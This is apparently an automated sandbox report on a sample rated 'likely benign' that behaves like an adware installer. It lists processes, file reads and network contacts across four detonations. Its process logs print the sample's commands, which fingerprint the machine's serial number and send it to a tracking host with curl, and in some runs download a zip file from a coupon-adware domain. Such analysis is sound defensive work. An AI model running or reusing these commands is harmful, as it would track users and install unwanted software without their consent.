Malware Analysis Report

2025-01-23 14:06

Sample ID 240829-p585esvbjr
Target c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118
SHA256 8b0b0677d282d9b854b5fbb977b8f4acdeafdbab97686803841557ae007e9c9a
Tags
antivm
score
4/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
4/10

SHA256

8b0b0677d282d9b854b5fbb977b8f4acdeafdbab97686803841557ae007e9c9a

Threat Level: Likely benign

The file c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118 was found to be: Likely benign.

Malicious Activity Summary

antivm

Checks CPU configuration

Reads runtime system information

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-29 12:55

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-29 12:55

Reported

2024-08-29 12:58

Platform

ubuntu1804-amd64-20240611-en

Max time kernel

148s

Max time network

131s

Command Line

[/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118]

Signatures

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/self/maps /usr/bin/awk N/A
File opened for reading /proc/filesystems /bin/mkdir N/A

Processes

/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118

[/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118]

/usr/bin/touch

[touch /root/Library/Application Support/.upd2028]

/usr/bin/tr

[tr -d \n]

/usr/bin/openssl

[openssl md5]

/usr/bin/awk

[awk -F" /IOPlatformSerialNumber/{print $(NF-1)}]

/bin/date

[date +%Y%m%d%H%M%S]

/bin/mkdir

[mkdir -p /private/tmp/.mmupdatescripts_20240829125557]

/usr/bin/curl

[curl -s --data-urlencode event=upd2028start --data-urlencode click_id=4655787913878082 --data-urlencode c3=(stdin)= d41d8cd98f00b204e9800998ecf8427e --data-urlencode is_root=true --data-urlencode platform_version= --data-urlencode safari_version= --data-urlencode chrome_version= --data-urlencode r4= --data-urlencode domain=request.mymacuptodate.com --data-urlencode webtools_brand=MyCouponsmart --data-urlencode search_domain=www.searchmine.net --data-urlencode webtools_channel=upd-2028 --data-urlencode search_channel=upd-2028 http://client.mm-bq.host/AsyncQueueWorkers/trackQueue.php?p=1]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 1.1.1.1:53 client.mm-bq.host udp
US 1.1.1.1:53 client.mm-bq.host udp
GB 185.125.188.62:443 tcp
GB 185.125.188.61:443 tcp
US 151.101.193.91:443 tcp
US 151.101.193.91:443 tcp
GB 89.187.167.3:443 tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-29 12:55

Reported

2024-08-29 12:58

Platform

debian9-armhf-20240729-en

Max time kernel

149s

Max time network

3s

Command Line

[/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118]

Signatures

Checks CPU configuration

antivm
Description Indicator Process Target
File opened for reading /proc/cpuinfo /usr/bin/curl N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/self/maps /usr/bin/awk N/A
File opened for reading /proc/filesystems /bin/mkdir N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/bin/curl N/A
File opened for reading /proc/self/auxv /usr/bin/curl N/A

Processes

/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118

[/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118]

/usr/bin/touch

[touch /root/Library/Application Support/.upd2028]

/usr/bin/awk

[awk -F" /IOPlatformSerialNumber/{print $(NF-1)}]

/usr/bin/tr

[tr -d \n]

/usr/bin/openssl

[openssl md5]

/bin/date

[date +%Y%m%d%H%M%S]

/bin/mkdir

[mkdir -p /private/tmp/.mmupdatescripts_20240829125556]

/usr/bin/curl

[curl -s --data-urlencode event=upd2028start --data-urlencode click_id=4655787913878082 --data-urlencode c3=(stdin)= d41d8cd98f00b204e9800998ecf8427e --data-urlencode is_root=true --data-urlencode platform_version= --data-urlencode safari_version= --data-urlencode chrome_version= --data-urlencode r4= --data-urlencode domain=request.mymacuptodate.com --data-urlencode webtools_brand=MyCouponsmart --data-urlencode search_domain=www.searchmine.net --data-urlencode webtools_channel=upd-2028 --data-urlencode search_channel=upd-2028 http://client.mm-bq.host/AsyncQueueWorkers/trackQueue.php?p=1]

Network

Country Destination Domain Proto
US 1.1.1.1:53 client.mm-bq.host udp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-08-29 12:55

Reported

2024-08-29 12:58

Platform

debian9-mipsbe-20240611-en

Max time kernel

150s

Max time network

139s

Command Line

[/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118]

Signatures

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/self/maps /usr/bin/awk N/A
File opened for reading /proc/filesystems /bin/mkdir N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/bin/curl N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/bin/curl N/A

Processes

/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118

[/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118]

/usr/bin/touch

[touch /root/Library/Application Support/.upd2028]

/usr/bin/tr

[tr -d \n]

/usr/bin/awk

[awk -F" /IOPlatformSerialNumber/{print $(NF-1)}]

/usr/bin/openssl

[openssl md5]

/bin/date

[date +%Y%m%d%H%M%S]

/bin/mkdir

[mkdir -p /private/tmp/.mmupdatescripts_20240829125556]

/usr/bin/curl

[curl -s --data-urlencode event=upd2028start --data-urlencode click_id=4655787913878082 --data-urlencode c3=(stdin)= d41d8cd98f00b204e9800998ecf8427e --data-urlencode is_root=true --data-urlencode platform_version= --data-urlencode safari_version= --data-urlencode chrome_version= --data-urlencode r4= --data-urlencode domain=request.mymacuptodate.com --data-urlencode webtools_brand=MyCouponsmart --data-urlencode search_domain=www.searchmine.net --data-urlencode webtools_channel=upd-2028 --data-urlencode search_channel=upd-2028 http://client.mm-bq.host/AsyncQueueWorkers/trackQueue.php?p=1]

/usr/bin/curl

[/usr/bin/curl -s -o /private/tmp/.mmupdatescripts_20240829125556/pwr.zip http://download.mycouponsmartmac.com/InstallerResources/pwr.zip]

Network

Country Destination Domain Proto
US 1.1.1.1:53 client.mm-bq.host udp
US 35.231.195.62:80 client.mm-bq.host tcp
US 1.1.1.1:53 download.mycouponsmartmac.com udp
US 104.21.30.26:80 download.mycouponsmartmac.com tcp

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-08-29 12:55

Reported

2024-08-29 12:58

Platform

debian9-mipsel-20240418-en

Max time kernel

149s

Max time network

135s

Command Line

[/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118]

Signatures

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/self/maps /usr/bin/awk N/A
File opened for reading /proc/filesystems /bin/mkdir N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/bin/curl N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/bin/curl N/A

Processes

/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118

[/tmp/c8db6f588451856e187c399e2ab8cfb6_JaffaCakes118]

/usr/bin/touch

[touch /root/Library/Application Support/.upd2028]

/usr/bin/tr

[tr -d \n]

/usr/bin/openssl

[openssl md5]

/usr/bin/awk

[awk -F" /IOPlatformSerialNumber/{print $(NF-1)}]

/bin/date

[date +%Y%m%d%H%M%S]

/bin/mkdir

[mkdir -p /private/tmp/.mmupdatescripts_20240829125555]

/usr/bin/curl

[curl -s --data-urlencode event=upd2028start --data-urlencode click_id=4655787913878082 --data-urlencode c3=(stdin)= d41d8cd98f00b204e9800998ecf8427e --data-urlencode is_root=true --data-urlencode platform_version= --data-urlencode safari_version= --data-urlencode chrome_version= --data-urlencode r4= --data-urlencode domain=request.mymacuptodate.com --data-urlencode webtools_brand=MyCouponsmart --data-urlencode search_domain=www.searchmine.net --data-urlencode webtools_channel=upd-2028 --data-urlencode search_channel=upd-2028 http://client.mm-bq.host/AsyncQueueWorkers/trackQueue.php?p=1]

/usr/bin/curl

[/usr/bin/curl -s -o /private/tmp/.mmupdatescripts_20240829125555/pwr.zip http://download.mycouponsmartmac.com/InstallerResources/pwr.zip]

Network

Country Destination Domain Proto
US 1.1.1.1:53 client.mm-bq.host udp
US 35.231.195.62:80 client.mm-bq.host tcp
US 1.1.1.1:53 download.mycouponsmartmac.com udp
US 172.67.150.111:80 download.mycouponsmartmac.com tcp

Files

N/A